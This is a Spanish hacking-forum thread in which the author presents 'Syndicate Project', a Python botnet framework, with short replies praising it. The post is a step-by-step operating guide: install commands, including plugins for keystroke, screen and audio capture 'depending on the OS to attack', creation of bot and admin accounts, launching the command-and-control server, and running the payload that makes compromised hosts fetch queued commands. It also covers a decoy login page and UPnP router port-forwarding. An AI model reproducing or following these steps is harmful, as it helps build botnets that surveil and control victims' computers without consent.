Underc0de

[In]Seguridad Informática => Hacking => Mensaje iniciado por: DtxdF en Noviembre 28, 2019, 01:49:48 AM

Título: Syndicate Project: ¿Me compartes tu Botnet? - Parte #1
Publicado por: DtxdF en Noviembre 28, 2019, 01:49:48 AM
Syndicate Project

(https://imgur.com/1iCT46m.png)

Fuente: onodo.org/visualizations/98748/

Syndicate Project es un proyecto que te simplifica la creación de botnet's, totalmente escrito en Python (3); así es, puedes crear cientos o miles.

Plataformas:


Instalación:

Primero clonamos el repositorio:

Código (bash) [Seleccionar]
git clone https://github.com/DtxdF/Syndicate
cd Syndicate


Y luego instalamos los...

Requerimientos:

Puede optar por una fácil instalación con PIP, pero hay algunos inconvenientes que dependen de usted

En primer lugar, lo que si es necesario ejecutar es requirements/requirements.txt (https://github.com/DtxdF/Syndicate/blob/master/requirements/requirements.txt):

Código (bash) [Seleccionar]
python3 -m pip install -r requirements/requirements.txt

En el archivo podemos encontrar:

Código (text) [Seleccionar]
PySocks==1.7.1
pycryptodome==3.9.4
PyYAML==5.1.2
pager==3.3
requests==2.22.0
urllib3==1.25.7
certifi==2019.9.11
chardet==3.0.4
idna==2.8
pyperclip==1.7.0


Estos son los requerimientos para que funcione lo más principal de Syndicate, mientras que para los complementos se tendría que seguir los siguientes pasos, no obstante no es necesario instalar para las funcionalidades anteriormente mencionadas, esto sirve para aumentar el poder...

Código (bash) [Seleccionar]
python3 -m pip install -r requirements/requirements.complements.txt

En el archivo podemos encontrar:

Código (text) [Seleccionar]
requests==2.22.0
pynput==1.4.5
six==1.13.0
python-xlib==0.25
pygame==1.9.6
mss==4.0.3


Un último requerimiento para los complementos predeterminados sería "PyAudio", pero esto requiere un poco más de su colaboración:

En el caso de Windows:

Seleccioné la versión correspondiente: PyAudio (https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio)

En mi caso es: PyAudio‑0.2.11‑cp37‑cp37m‑win32.whl

Mientras que en Linux:


Código (bash) [Seleccionar]
sudo apt-get install libasound-dev portaudio19-dev libportaudio2 libportaudiocpp0
sudo apt-get install ffmpeg
sudo pip install PyAudio==0.2.11


Usted se estará preguntado: ¿Windows?, ya mencionaste que sólo funciona en Linux, Claro, estos requerimientos son para los complementos dependiendo del SO a atacar.

Una vez hecha la instalación, vamos con lo bueno...

Importante:

Antes de continuar quiero aclarar unas cosas...

En Syndicate Project prefiero tener sinonimos para algunas cosas:


Caracteristicas:

Tratare de englobar todas las caracteristicas posibles de Syndicate, espero no me falte nada :)...


Nota:  Los privilegios sólo son válidos para los Jacob's

Tipos de configuración


Tipos de usuario

En Syndicate Project trato de implementar diferencias entre usuarios para simplificar las explicaciones; en el proyecto se puede encontrar cuatro tipos de usuario:


Nota: Los servicios públicos se pueden bloquear desde el archivo de configuración dinámico

Aclaraciones:

Tengo que explicar algunas cosas que iré mencionando poco a poco a lo largo de este documento:


Notas:


Funcionamiento de la Red:

Algunas veces es mejor dejar una simulación en vez de palabras, por lo tanto Aquí (https://onodo.org/visualizations/98665), podrá encontrar el cómo sería la red con todas las caracteristicas y Aquí (https://onodo.org/visualizations/98748/) el cómo sería cuando Jacob envía datos a través de varios nodos en diferentes países.

Nota: Aunque en esta demostración no explico como es el proceso en que se usan los datos encriptados, en la practica si pasa éso.

Ahora pasemos a la explicación: Es sencilla la red, hay que saber usarla y cuándo, pero para poder entenderla hay que crear desde un principio lo que necesitamos e ir aumentando a medida que vayan incrementando los conocimientos.

Primero crearemos un Jacob (Administrador de los Rook's):

Pero antes de hacer éso, quiero aclarar que algunas herramientas necesitan acceso seguro a la base de datos que está encriptada, por lo tanto sí usted no introduce los parámetros se le va abrir un pequeño formulario requiriendo los datos. Sí no me cree, mirelo usted o mejor aún Pruébelo:


Código (text) [Seleccionar]

./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada>
* Datos para desencriptar la frase de contraseña *
  ----------------------------------------------

Ingrese la frase de contraseña:
: **************
Ingrese los caracteres de seguridad:
: abcdefghijklmnopqrstuvwxyz1234567890
Ingrese el número de iteraciones:
: 43
Ingrese el número de seguridad:
: 30
Ingrese el número de disminución:
: 18
Se guardo satisfactoriamente en -> conf/pass


Notas:


¿Ven?, sería tedíoso que tuviera que introducir todas esas cosas, mejor usamos los poderes de la linda terminal :'D:

Código (bash) [Seleccionar]
# Primero veamos que regla estamos usando para guardar los comandos en el historial:
echo $HISTCONTROL
ignoreboth
# ¡Bien!, esa es la regla perfecta.
# Eso nos servirá para cuando introducimos un comando y no queramos que se guarde en el historial, ya que la idea es que no se registre una contraseña o algo sensible.
# Así que ahora guardemos lo que necesitamos en una variable
declare -x params='-db-passphrase <La frase de contraseña> -db-iterations <Iteraciones> -db-chars <Caracteres de Seguridad> -db-decrement-number <Número de disminución> -db-security-number <Número de seguridad>'
# Cómo pueden notar, usé un espacio antes de escribir el comando, para que no se almacene en el historial.
# Claro, pueden hacer éso o pueden crear un script y lo cargan usando "source" o ".", pero se los dejo para la casa...


Ahora simplemente puede ejecutar:

Código (bash) [Seleccionar]
./addadmin.py -u <Nombre de usuario> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> $params

Código (text) [Seleccionar]

-*- ¿Es correcta la siguiente información? -*-

Nombre de usuario       ::   <Nombre de usuario>
Frase de contraseña     ::   <Frase de contraseña>
Contraseña RSA          ::   <Frase de contraseña de la clave privada>
Iteraciones             ::   43
Número de seguridad     ::   30
Número de disminución   ::   18
Caracteres de seguridad ::   abcdefghijklmnopqrstuvwxyz1234567890
Privilegios             ::   ALL
Max. de bot's           ::   0 (infinito)
Tamaño de la clave      ::   2048
¿Root?                  ::   0
->


Debe introducir "1" para continuar o "0" para salir, aunque "CTRL-C", también ayuda.

Notas:


Esperamos unos instantes, y para confirmar que todo salío perfecto, ejecuté:

Código (bash) [Seleccionar]
./addadmin.py -show $params


Ese comando le mostrará todos los Jacob's registrados.

Ahora pasemos a algo mejor. Creemos nuestro rook para un jacob:


Código (bash) [Seleccionar]
./addbot.py -u <Nombre del rook> -p <Frase de contraseña> -P <Frase de contraseña de la clave privada> -a <Jacob/s> $params

Vemos un parámetro nuevo, "-a" o también podría llamarse "--admin". Si no razonaste correctamente, te digo que es para agregar a los Jacob's a el nuevo rook.

Notas:


Eso no es todo, necesitamos configurar Evie (https://github.com/DtxdF/Syndicate/blob/master/evie.py) usando auto-config.sh (https://github.com/DtxdF/Syndicate/blob/master/auto-config.sh) mas los parámetros ya utilizados en anteriores herramientas.

Código (bash) [Seleccionar]
./auto-config.sh $params

Usted vería cada Clave, Sub-Clave y Valor. Los segundos de duración por cada uno, varian dependiendo de sus recursos, esto se debe a que se está encriptado cada dato.

A pesar de que se muestre la configuración al finalizar, tal vez usted quiera apreciarla para un después. Lo puede hacer así:


./evie-config.py -print-configuration $params

Notas:


Ahora si que viene lo bueno

Ejecutamos evie.py (https://github.com/DtxdF/Syndicate/blob/master/evie.py) para iniciar el servidor:


Código (bash) [Seleccionar]
./evie.py -P <Frase de contraseña de la clave privada> $params

Sí ejecutamos por primera vez, verá algo así:

Código (text) [Seleccionar]
(00:33:04 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: El par de claves aún no son son generados ... generando ...
(00:33:04 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Tamaño a generar: "2048"
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: El par de claves fueron generadas ...
(00:33:11 ~ 26/11/2019)[Evie:INFORME]:-------:*: Desencriptando ...
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: ¡Clave desencriptada!
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando clave secreta ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Clave secreta generada -> b22f 34b4 1c48 b8dd dad3 dcfc d0b6 986d 081f 80f3 959d 3de0 1075 6ea1 dfc2 ad45
(00:33:12 ~ 26/11/2019)[Evie:INFORME]:-------:*: Generando un nuevo token de acceso ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Token de acceso generado -> 8502382584368ce06c336c793750815f400697daaff7dc8244e849b75135d638
(00:33:12 ~ 26/11/2019)[Evie:ADVERTENCIA]:---:!: No se encontraron los requerimientos necesarios para usar el protocolo de forma (más) segura. Usando HTTP ...
(00:33:12 ~ 26/11/2019)[Evie:PERSONAL]:------:+: Escuchando en :: http://0.0.0.0:8081/hmKReYEJrMWB8l48yvsENaLlMT1ijqIiU2nU6RGiKnanCZEkimT0lh2xW-xS1xYP6rJX1uWmxbp2bOeSVCCfJQ


No explicaré todo, porque hay cosas que son sencillas y otras ya las explique, pero sí que hay algo nuevo. ¿Qué deminios es esa ruta?; la ruta se genera de forma aleatoria y segura, puede usar los archivos de configuración para evitarlo, pero recomiendo que lo deje así.

Lo negativo de usar una ruta aleatoria es que si el servidor se "apaga" y se inicia nuevamente, tendrá otra ruta, lo que quiere decir que los Jacob's tendran que saberlo; es recomendable sólo cuando hay pocos Jacob's.

Ahora para que Evie tenga algún sentido en la vida, que tal si ejecutamos la Carga útil (https://github.com/DtxdF/Syndicate/blob/master/payload.py), pero antes quiero aclarar algo que tiene que ver con los complementos, aunque aún no me adentraré en aguas turbulentas, por ahora estamos en la orilla del mar (Eso es en otra sección). Prosigamos:

Tenemos que tener en cuenta que los complementos necesitan requerimientos, cosa que mencionaré en la instalación, aunqué podemos edítar El archivo de configuración (https://github.com/DtxdF/Syndicate/blob/master/payload_conf/modules.py) del payload y remover o agregar lo que necesitemos.

Bien, una vez aclarado, necesitamos la Clave Pública de Evie y la Clave Privada del Rook; La obtenemos de la siguiente forma:


Código (bash) [Seleccionar]
./show_server_keys.py $params | more
...
Clave Pública:
...
Clave Privada:
...


Usamos "more" para delimitar la salida y ver lo que necesitamos, la clave pública. La seleccionamos, copiamos y la guardamos en una ruta segura, cómo "/tmp":

Código (bash) [Seleccionar]
nano /tmp/<Nombre de la clave pública> # Una vez abierto "nano" pegamos la clave pública y la guardamos
...


Hacemos el mismo procedimiento, pero esta vez será para la Clave Privada del Rook:

Código (bash) [Seleccionar]
./addbot.py -show -option keys -P <identificador del rook>:<Frase de contraseña para desencriptarla> $params

Nota: Puede asignarle permisos de escritura y lectura dependiendo de su usuario al par de claves para mayor seguridad.

Recordatorio: Cómo ve, deje un espacio para que no se guarde el comando en el historial

Esta vez vemos nuevos parámetros con argumentos interesantes:



Buscamos el rook y la clave privada desencriptada, hacemos el mismo procedimiento que hicimos con la clave pública de Evie

Código (bash) [Seleccionar]
nano /tmp/<Nombre de la clave privada> # Una vez abierto "nano" pegamos la clave privada y la guardamos
...


Ahora sí, ejecutemos el Payload (https://github.com/DtxdF/Syndicate/blob/master/payload.py)

Código (bash) [Seleccionar]
./payload.py -b <Identificador del Rook> -pass <Frase de contraseña del Rook> -a <Dirección de Evie> -p <Puerto> -pub-key <Clave pública de Evie> -priv-key <Clave privada del Rook> -proto <Protocolo, puede ser http o https> -sleep-check <Intervalos en que se hace una petición para ver si hay comandos en cola> -db-path <El nombre de la base de datos> -db-pass <Frase de contraseña de la base de datos>

Explico poco a poco lo que siento que pueden tener dudas:


Nota: Puede usar el parámetro "-no-verbose" para que no imprima el resultado de alguna operación

Esto es una prueba, por lo que todo se hará por la consola, ya hablare sobre como usar la programación a nuestro favor.

Necesitamos interactuar con el Rook para ello ejecutamos control.py (https://github.com/DtxdF/Syndicate/blob/master/control.py).


Código (bash) [Seleccionar]
./control.py $params

Puedes observar en las Las capturas de pantalla cómo se vería

Nota: Quiero aclarar que la aplicación es una DEMO, no es para entornos reales, por lo tanto no te sorprendas si no es igual de bonita que Vim ;).

Nos mostrara primero un panel de inicio de sesión, tenemos que rellenar los datos deacuerdo a lo aprendido

Al terminar de iniciar sesión lo primero que hará será enviar un comando "ping" para verificar si sus credenciales son correctas, luego enviara el comando "listBots" para obtener la lista de rook's que le pertenecen.

Sí ocurre un error puede ser por los siguientes motivos:



Eso es sólo unos cuantos motivos por lo que no podrá iniciar sesión, recuerde tiene que ingresarlos exactamente cómo se creó; exceptuando a iterations, porque si usted coloca un número mayor al verdadero pero los demás datos son correctos, no habrá problemas.

Sistema anti fuerza bruta:

El sistema anti fuerza bruta de Syndicate es sencillo, primero tendremos que comprender que es el Hash dinámico, cosa que ya explique en las aclaratorias.

En Syndicate al crear un usuario además de la información de perfil, existen algunos datos de seguridad, cómo son los Caracteres de seguridad, Número de seguridad, Número de disminución e Iteraciones; Los cuales su funcionamiento principal es generar un Hash. El hash puede tener el mismo dato (Como una contraseña), pero si se introduce cualquier dato diferente al resto de los datos de seguridad el Hash será diferente.

Mientras el proceso sea más lento, mejor en un buen sentido, ¿Por qué?, simplemente porque si un atacante quiere hacer fuerza bruta al servidor, obligatoriamente tiene que tener: El usuario, Frase de contraseña, Los datos de seguridad, La clave pública del servidor, la clave privada y la clave única inclusive.

De hecho otra cosa que es muy importante en cuanto a la seguridad es la Clave única que cambia cada vez que el Jacob al que le pertenece, inicia sesión.

Claro que eso no es todo, el atacante debe conocer la ruta del servidor que puede ser una aguja en un pajar.

Sumando todo esto, también nos vemos que en la configuración especificamente las claves honeypot y login vemos unas sub claves, como pueden ser:



Nota: También disponemos de expresiones regulares en todas las listas. Pueden ver más informacion en el Archivo de Configuración (https://github.com/DtxdF/Syndicate/blob/master/auto-config.sh)

¿Eso es todo?... ¡NO!. Si ingresamos por la URL del servidor en nuestro navegador, vemos que nos salta una autenticación le digo que ese es el panel de control web falso, es mera distracción 3:).

De hecho trato de simular Apache en la información que se pueda obtener. Puedes editar los valores en el Archivo de configuración (https://github.com/DtxdF/Syndicate/blob/master/auto-config.sh) y las plantillas en templates/ (https://github.com/DtxdF/Syndicate/blob/master/templates)


¿Segunda parte?

Lo mostrado anteriormente fue un poco de la documentación. Puede encontrar mucha más información acerca del proyecto, pero aún me falta mucho que redactar, así que poco a poco lo ire actualizando.

Respecto a la segunda parte tratara sobre cómo usar el proyecto para construir una Botnet Punto a Punto, cómo usar la red en cadena para comunicarse con otro Evie y está vez co-protagonizare esta pelicula con un compañero del foro .

Puede encontrar la documentación en mi repositorio, donde también podras descargar el proyecto: github.com/DtxdF/Syndicate

Capturas de pantalla:

Inicio de sesión para los Jacob's:

(https://imgur.com/Zh3NacV.png)

Interactuando con un Rook:

(https://imgur.com/9rmGTO7.png)

Red en cadena:

(https://imgur.com/FbM3Yap.png)

Compartiendo un Rook:

(https://imgur.com/biXzNtW.png)

Creador:

~ DtxdF (Jesús D. Colmenares)

Agradecimientos:

Kirari (https://github.com/Kirari-Senpai): Gracias a tí, si estás leyendo ésto. Tú me ayudaste mucho con los complementos antes de que me surgiera la idea, es admirable que alguien dedique parte de su tiempo a escribir código a alguien que apenas sabe su nombre, pero mucho más a alguien que seguira aportando a este proyecto. Muchas gracias Kirari.
n1nj4sec (https://github.com/n1nj4sec): Gracias por aportar a la comunidad con su proyecto pupy-rat (https://github.com/n1nj4sec/pupy), gracias a él, muchos complementos de Syndicate existen.
jfdelgad (https://github.com/jfdelgad): Creador de port-forward (https://github.com/jfdelgad/port-forward), una pequeña pero poderosa libreria para hacer desastres con el router usando UPnP :D. Gracias por compartirlo y por dar vida a una caracteristica especial de los rook's

Sí hay alguien que me falta, comunicame inmediantamente

Extras:

Le prometí a un compañero del foro "AXCESS", que le dedicaría un *Gato*, por mera diversión:

(https://imgur.com/FPw1Wjn.png)

*El gato de AXCESS reaccionando sobre el post*

~ DtxdF
Título: Re:Syndicate Project: ¿Me compartes tu Botnet? - Parte #1
Publicado por: ??????? en Noviembre 28, 2019, 11:42:47 AM
Estaba esperando este momento amigo @DtxdF (https://underc0de.org/foro/index.php?action=profile;u=71723), la verdad que increíble proyecto, sé que a los miembros de la comunidad les va a encantar  ;D

En cuanto pueda, aportaré más al mismo. Gracias también a nuestros otros dos colegas que nos ayudaron en proceso del mismo  :D :D
Título: Re:Syndicate Project: ¿Me compartes tu Botnet? - Parte #1
Publicado por: TheHackForce en Diciembre 13, 2019, 10:53:56 AM
gran proyecto pero sobre todo grandes mentes
Título: Re:Syndicate Project: ¿Me compartes tu Botnet? - Parte #1
Publicado por: DtxdF en Diciembre 13, 2019, 11:14:26 AM
@CyberSec777 (https://underc0de.org/foro/index.php?action=profile;u=56507)

No tienes ni idea que significan esos 44 caracteres que escribiste, son de muchisimo apoyo, muchas gracias  ;D ;D ;D

Ya vendra muchisimo más ...

~ DtxdF